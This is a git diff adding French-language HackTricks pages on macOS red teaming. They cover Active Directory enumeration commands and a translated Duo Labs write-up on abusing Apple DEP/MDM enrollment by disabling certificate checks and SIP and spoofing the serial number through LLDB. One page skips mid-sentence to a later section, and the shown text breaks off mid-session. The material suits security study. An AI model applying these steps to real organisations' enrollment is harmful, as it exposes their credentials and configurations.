diff --git a/.gitbook/assets/Pasted Graphic 14.png b/.gitbook/assets/Pasted Graphic 14.png new file mode 100644 index 000000000..8443160fd Binary files /dev/null and b/.gitbook/assets/Pasted Graphic 14.png differ diff --git a/SUMMARY.md b/SUMMARY.md index 755f360a7..02af49b61 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -144,9 +144,6 @@ * [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) * [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) * [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md) - * [macOS MDM](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md) - * [Enrolling Devices in Other Organisations](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md) - * [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-mdm/macos-serial-number.md) * [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md) * [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) * [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md) @@ -162,6 +159,7 @@ * [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md) * [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md) * [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md) + * [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) * [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md) * [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md) * [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md) @@ -173,7 +171,10 @@ * [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md) * [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-scripts.md) * [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) -* [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md) +* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md) + * [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md) + * [Enrolling Devices in Other Organisations](macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md) + * [macOS Serial Number](macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md) * [macOS Useful Commands](macos-hardening/macos-useful-commands.md) * [macOS Auto Start Locations](macos-hardening/macos-auto-start-locations.md) diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md new file mode 100644 index 000000000..da656fdda --- /dev/null +++ b/macos-hardening/macos-red-teaming/README.md @@ -0,0 +1,127 @@ +# Red Teaming macOS + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Méthodes de gestion courantes + +* JAMF Pro: `jamf checkJSSConnection` +* Kandji + +Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines. + +Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM : + +{% content-ref url="macos-mdm/" %} +[macos-mdm](macos-mdm/) +{% endcontent-ref %} + +Et aussi sur les **protocoles réseau** **spéciaux** de **MacOS** : + +{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %} +[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md) +{% endcontent-ref %} + +## Active Directory + +Dans certains cas, vous constaterez que l'**ordinateur macOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **d'énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes : + +{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} +[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) +{% endcontent-ref %} + +{% content-ref url="../../windows-hardening/active-directory-methodology/" %} +[active-directory-methodology](../../windows-hardening/active-directory-methodology/) +{% endcontent-ref %} + +{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %} +[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) +{% endcontent-ref %} + +Un **outil local MacOS** qui peut également vous aider est `dscl`: +```bash +dscl "/Active Directory/[Domain]/All Domains" ls / +``` +Il existe également des outils préparés pour MacOS pour énumérer automatiquement l'AD et jouer avec Kerberos : + +* [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS. +* [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible. +* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour effectuer une énumération Active Directory. + +### Informations de domaine +``` +echo show com.apple.opendirectoryd.ActiveDirectory | scutil +``` +### Utilisateurs + +Les trois types d'utilisateurs MacOS sont : + +* **Utilisateurs locaux** - Gérés par le service local OpenDirectory, ils ne sont connectés d'aucune manière à Active Directory. +* **Utilisateurs réseau** - Utilisateurs volatils d'Active Directory qui nécessitent une connexion au serveur DC pour s'authentifier. +* **Utilisateurs mobiles** - Utilisateurs d'Active Directory avec une sauvegarde locale de leurs informations d'identification et de leurs fichiers. + +Les informations locales sur les utilisateurs et les groupes sont stockées dans le dossier _/var/db/dslocal/nodes/Default._\ +Par exemple, les informations sur l'utilisateur appelé _mark_ sont stockées dans _/var/db/dslocal/nodes/Default/users/mark.plist_ et les informations sur le groupe _admin_ sont dans _/var/db/dslocal/nodes/Default/groups/admin.plist_. + +En plus d'utiliser les bords HasSession et AdminTo, **MacHound ajoute trois nouveaux bords** à la base de données Bloodhound : + +* **CanSSH** - entité autorisée à se connecter en SSH à l'hôte +* **CanVNC** - entité autorisée à se connecter en VNC à l'hôte +* **CanAE** - entité autorisée à exécuter des scripts AppleEvent sur l'hôte +```bash +#User enumeration +dscl . ls /Users +dscl . read /Users/[username] +dscl "/Active Directory/TEST/All Domains" ls /Users +dscl "/Active Directory/TEST/All Domains" read /Users/[username] +dscacheutil -q user + +#Computer enumeration +dscl "/Active Directory/TEST/All Domains" ls /Computers +dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$" + +#Group enumeration +dscl . ls /Groups +dscl . read "/Groups/[groupname]" +dscl "/Active Directory/TEST/All Domains" ls /Groups +dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" + +#Domain Information +dsconfigad -show +``` +Plus d'informations sur [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) + +## Services externes + +Le Red Teaming de MacOS est différent d'un Red Teaming régulier de Windows car généralement **MacOS est intégré à plusieurs plateformes externes directement**. Une configuration courante de MacOS est d'accéder à l'ordinateur en utilisant des **identifiants synchronisés OneLogin, et d'accéder à plusieurs services externes** (comme github, aws...) via OneLogin: + +![](<../../.gitbook/assets/image (563).png>) + +### + +## Références + +* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E) +* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) +* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-red-teaming/macos-mdm/README.md b/macos-hardening/macos-red-teaming/macos-mdm/README.md new file mode 100644 index 000000000..8f80ca1dd --- /dev/null +++ b/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -0,0 +1,63 @@ +# macOS MDM + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Fondamentaux + +### Qu'est-ce que MDM (Mobile Device Management) ? + +[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) est une technologie couramment utilisée pour **administrer les appareils informatiques des utilisateurs finaux** tels que les téléphones mobiles, les ordinateurs portables, les ordinateurs de bureau et les tablettes. Dans le cas des plates-formes Apple telles que iOS, macOS et tvOS, il fait référence à un ensemble spécifique de fonctionnalités, d'API et de techniques utilisées par les administrateurs pour gérer ces appareils. La gestion des appareils via MDM nécessite un serveur MDM commercial ou open source compatible qui implémente la prise en charge du [protocole MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). + +* Un moyen d'atteindre une **gestion centralisée des appareils** +* Nécessite un **serveur MDM** qui implémente la prise en charge du protocole MDM +* Le serveur MDM peut **envoyer des commandes MDM**, telles que l'effacement à distance ou « installer cette configuration » + +### Fondamentaux Qu'est-ce que DEP (Device Enrolment Program) ? + +Le [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) est un service proposé par Apple qui **simplifie l'inscription +### **Étape 7 : Écoute des commandes MDM** + +* Après la vérification MDM, le fournisseur peut **émettre des notifications push en utilisant APNs** +* À la réception, géré par **`mdmclient`** +* Pour interroger les commandes MDM, une demande est envoyée à ServerURL +* Utilise la charge utile MDM précédemment installée : + * **`ServerURLPinningCertificateUUIDs`** pour l'épinglage de la demande + * **`IdentityCertificateUUID`** pour le certificat client TLS + +## Attaques + +### Inscription de dispositifs dans d'autres organisations + +Comme précédemment commenté, pour essayer d'inscrire un dispositif dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois le dispositif inscrit, plusieurs organisations installeront des données sensibles sur le nouveau dispositif : certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé : + +{% content-ref url="enrolling-devices-in-other-organisations.md" %} +[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) +{% endcontent-ref %} + +## **Références** + +* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) +* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md new file mode 100644 index 000000000..fe412ce8e --- /dev/null +++ b/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -0,0 +1,395 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! + +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
+ + +# Introduction + +Comme [**mentionné précédemment**](./#what-is-mdm-mobile-device-management), pour essayer d'inscrire un appareil dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil: des certificats, des applications, des mots de passe WiFi, des configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé. + +**La recherche suivante est tirée de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) + +# Inverser le processus + +## Binaires impliqués dans DEP et MDM + +Au cours de notre recherche, nous avons exploré les éléments suivants: + +* **`mdmclient`**: Utilisé par le système d'exploitation pour communiquer avec un serveur MDM. Sur macOS 10.13.3 et antérieur, il peut également être utilisé pour déclencher une vérification DEP. +* **`profiles`**: Un utilitaire qui peut être utilisé pour installer, supprimer et afficher des profils de configuration sur macOS. Il peut également être utilisé pour déclencher une vérification DEP sur macOS 10.13.4 et plus récent. +* **`cloudconfigurationd`**: Le démon client d'inscription de l'appareil, qui est responsable de la communication avec l'API DEP et de la récupération des profils d'inscription de l'appareil. + +Lorsque vous utilisez `mdmclient` ou `profiles` pour initier une vérification DEP, les fonctions `CPFetchActivationRecord` et `CPGetActivationRecord` sont utilisées pour récupérer l'_Activation Record_. `CPFetchActivationRecord` délègue le contrôle à `cloudconfigurationd` via [XPC](https://developer.apple.com/documentation/xpc), qui récupère ensuite l'_Activation Record_ depuis l'API DEP. + +`CPGetActivationRecord` récupère l'_Activation Record_ depuis le cache, si disponible. Ces fonctions sont définies dans le framework de profils de configuration privé, situé à `/System/Library/PrivateFrameworks/Configuration Profiles.framework`. + +## Inverser le protocole Tesla et le schéma Absinthe + +Pendant le processus de vérification DEP, `cloudconfigurationd` demande un _Activation Record_ à _iprofiles.apple.com/macProfile_. La charge utile de la demande est un dictionnaire JSON contenant deux paires clé-valeur: +``` +{ +"sn": "", +action": "RequestProfileConfiguration +} +``` +Le payload est signé et chiffré à l'aide d'un schéma appelé "Absinthe" en interne. Le payload chiffré est ensuite encodé en Base 64 et utilisé comme corps de requête dans une requête HTTP POST vers _iprofiles.apple.com/macProfile_. + +Dans `cloudconfigurationd`, la récupération de l'_Activation Record_ est gérée par la classe `MCTeslaConfigurationFetcher`. Le flux général de `[MCTeslaConfigurationFetcher enterState:]` est le suivant: +``` +rsi = @selector(verifyConfigBag); +rsi = @selector(startCertificateFetch); +rsi = @selector(initializeAbsinthe); +rsi = @selector(startSessionKeyFetch); +rsi = @selector(establishAbsintheSession); +rsi = @selector(startConfigurationFetch); +rsi = @selector(sendConfigurationInfoToRemote); +rsi = @selector(sendFailureNoticeToRemote); +``` +Puisque le schéma **Absinthe** semble être utilisé pour authentifier les demandes de service DEP, le **reverse engineering** de ce schéma nous permettrait de faire nos propres demandes authentifiées à l'API DEP. Cependant, cela s'est avéré **chronophage**, principalement en raison du nombre d'étapes impliquées dans l'authentification des demandes. Au lieu de renverser complètement le fonctionnement de ce schéma, nous avons opté pour explorer d'autres méthodes d'insertion de numéros de série arbitraires dans la demande de _Activation Record_. + +## MITMing DEP Requests + +Nous avons exploré la faisabilité de la mise en proxy des demandes réseau vers _iprofiles.apple.com_ avec [Charles Proxy](https://www.charlesproxy.com). Notre objectif était d'inspecter la charge utile envoyée à _iprofiles.apple.com/macProfile_, puis d'insérer un numéro de série arbitraire et de rejouer la demande. Comme mentionné précédemment, la charge utile soumise à ce point final par `cloudconfigurationd` est au format [JSON](https://www.json.org) et contient deux paires clé-valeur. +``` +{ +"action": "RequestProfileConfiguration", +sn": " +} +``` +Étant donné que l'API sur _iprofiles.apple.com_ utilise [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), nous avons dû activer la mise en proxy SSL dans Charles pour ce domaine afin de voir le contenu en texte clair des requêtes SSL. + +Cependant, la méthode `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` vérifie la validité du certificat du serveur et interrompt la connexion si la confiance du serveur ne peut pas être vérifiée. +``` +[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011 +"The Device Enrollment server trust could not be verified. Please contact your system +administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be +verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment +server trust could not be verified. Please contact your system administrator., +MCErrorType=MCFatalError} +``` +L'erreur affichée ci-dessus se trouve dans un fichier binaire _Errors.strings_ avec la clé `CLOUD_CONFIG_SERVER_TRUST_ERROR`, qui se trouve à `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, ainsi que d'autres messages d'erreur connexes. +``` +$ cd /System/Library/CoreServices +$ rg "The Device Enrollment server trust could not be verified" +ManagedClient.app/Contents/Resources/English.lproj/Errors.strings + +``` +Le fichier _Errors.strings_ peut être affiché dans un format lisible par l'homme avec la commande `plutil` intégrée. [Voir ici](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output). +``` +$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings +``` +Après avoir examiné plus en détail la classe `MCTeslaConfigurationFetcher`, il est devenu clair que ce comportement de confiance du serveur peut être contourné en activant l'option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` sur le domaine de préférence `com.apple.ManagedClient.cloudconfigurationd`. +``` +loc_100006406: +rax = [NSUserDefaults standardUserDefaults]; +rax = [rax retain]; +r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"]; +r15 = r15; +[rax release]; +if (r14 != 0x1) goto loc_10000646f; +``` +La option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` peut être définie avec la commande `defaults`. +``` +sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes +``` +Avec SSL Proxying activé pour _iprofiles.apple.com_ et `cloudconfigurationd` configuré pour accepter n'importe quel certificat HTTPS, nous avons tenté de faire une attaque de type man-in-the-middle et de rejouer les requêtes dans Charles Proxy. + +Cependant, étant donné que la charge utile incluse dans le corps de la requête HTTP POST à _iprofiles.apple.com/macProfile_ est signée et chiffrée avec Absinthe, (`NACSign`), **il n'est pas possible de modifier la charge utile JSON en clair pour inclure un numéro de série arbitraire sans avoir également la clé pour la décrypter**. Bien qu'il soit possible d'obtenir la clé car elle reste en mémoire, nous avons plutôt continué à explorer `cloudconfigurationd` avec le débogueur [LLDB](https://lldb.llvm.org). + +## Instrumentation des binaires système qui interagissent avec DEP + +La dernière méthode que nous avons explorée pour automatiser le processus de soumission de numéros de série arbitraires à _iprofiles.apple.com/macProfile_ était d'instrumenter les binaires natifs qui interagissent directement ou indirectement avec l'API DEP. Cela a impliqué une exploration initiale de `mdmclient`, `profiles` et `cloudconfigurationd` dans [Hopper v4](https://www.hopperapp.com) et [Ida Pro](https://www.hex-rays.com/products/ida/), ainsi que de longues sessions de débogage avec `lldb`. + +L'un des avantages de cette méthode par rapport à la modification des binaires et à leur resignature avec notre propre clé est qu'elle contourne certaines des restrictions d'attribution intégrées à macOS qui pourraient autrement nous dissuader. + +**Protection de l'intégrité du système** + +Pour instrumenter les binaires système, (comme `cloudconfigurationd`) sur macOS, [Protection de l'intégrité du système](https://support.apple.com/fr-fr/HT204899) (SIP) doit être désactivée. SIP est une technologie de sécurité qui protège les fichiers, dossiers et processus de niveau système contre les manipulations, et est activée par défaut sur OS X 10.11 "El Capitan" et ultérieur. [SIP peut être désactivé](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) en démarrant en mode de récupération et en exécutant la commande suivante dans l'application Terminal, puis en redémarrant : +``` +csrutil enable --without debug +``` +Il convient de noter, cependant, que SIP est une fonctionnalité de sécurité utile et ne doit pas être désactivée, sauf à des fins de recherche et de test sur des machines non productives. Il est également possible (et recommandé) de le faire sur des machines virtuelles non critiques plutôt que sur le système d'exploitation hôte. + +**Instrumentation binaire avec LLDB** + +Avec SIP désactivé, nous avons pu avancer dans l'instrumentation des binaires système qui interagissent avec l'API DEP, à savoir le binaire `cloudconfigurationd`. Comme `cloudconfigurationd` nécessite des privilèges élevés pour s'exécuter, nous devons démarrer `lldb` avec `sudo`. +``` +$ sudo lldb +(lldb) process attach --waitfor --name cloudconfigurationd +``` +Pendant que `lldb` attend, nous pouvons ensuite nous connecter à `cloudconfigurationd` en exécutant `sudo /usr/libexec/mdmclient dep nag` dans une fenêtre de terminal séparée. Une fois connecté, une sortie similaire à celle-ci-dessous sera affichée et les commandes LLDB peuvent être saisies à l'invite. +``` +Process 861 stopped +* thread #1, stop reason = signal SIGSTOP + +Target 0: (cloudconfigurationd) stopped. + +Executable module set to "/usr/libexec/cloudconfigurationd". +Architecture set to: x86_64h-apple-macosx. +(lldb) +``` +**Définition du numéro de série de l'appareil** + +L'un des premiers éléments que nous avons recherchés lors de la rétro-ingénierie de `mdmclient` et `cloudconfigurationd` était le code responsable de la récupération du numéro de série du système, car nous savions que le numéro de série était finalement responsable de l'authentification de l'appareil. Notre objectif était de modifier le numéro de série en mémoire après sa récupération à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), et de l'utiliser lorsque `cloudconfigurationd` construit la charge utile `macProfile`. + +Bien que `cloudconfigurationd` soit finalement responsable de la communication avec l'API DEP, nous avons également examiné si le numéro de série du système est récupéré ou utilisé directement dans `mdmclient`. Le numéro de série récupéré comme indiqué ci-dessous n'est pas ce qui est envoyé à l'API DEP, mais il a révélé un numéro de série codé en dur qui est utilisé si une option de configuration spécifique est activée. +``` +int sub_10002000f() { +if (sub_100042b6f() != 0x0) { +r14 = @"2222XXJREUF"; +} +else { +rax = IOServiceMatching("IOPlatformExpertDevice"); +rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C); + +} +rax = r14; +return rax; +} +``` +Le numéro de série du système est récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), sauf si la valeur de retour de `sub_10002000f` est différente de zéro, auquel cas elle est définie sur la chaîne statique "2222XXJREUF". En examinant cette fonction, il semble vérifier si le "mode de test de stress du serveur" est activé. +``` +void sub_1000321ca(void * _block) { +if (sub_10002406f() != 0x0) { +*(int8_t *)0x100097b68 = 0x1; +sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]); +} +return; +} +``` +Nous avons documenté l'existence du "mode de test de stress du serveur", mais nous ne l'avons pas exploré plus loin, car notre objectif était de modifier le numéro de série présenté à l'API DEP. Au lieu de cela, nous avons testé si la modification du numéro de série pointé par le registre `r14` suffirait à récupérer un _Activation Record_ qui n'était pas destiné à la machine sur laquelle nous testions. + +Ensuite, nous avons examiné comment le numéro de série du système est récupéré dans `cloudconfigurationd`. +``` +int sub_10000c100(int arg0, int arg1, int arg2, int arg3) { +var_50 = arg3; +r12 = arg2; +r13 = arg1; +r15 = arg0; +rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice")); +r14 = 0xffffffffffff541a; +if (rbx != 0x0) { +rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34); +r14 = rax; + +} +rax = r14; +return rax; +} +``` +Comme on peut le voir ci-dessus, le numéro de série est récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) dans `cloudconfigurationd`. + +En utilisant `lldb`, nous avons pu modifier le numéro de série récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en définissant un point d'arrêt pour `IOServiceGetMatchingService` et en créant une nouvelle variable de chaîne contenant un numéro de série arbitraire et en réécrivant le registre `r14` pour pointer vers l'adresse mémoire de la variable que nous avons créée. +``` +(lldb) breakpoint set -n IOServiceGetMatchingService +# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. +(lldb) process attach --waitfor --name cloudconfigurationd +Process 2208 stopped +* thread #2, queue 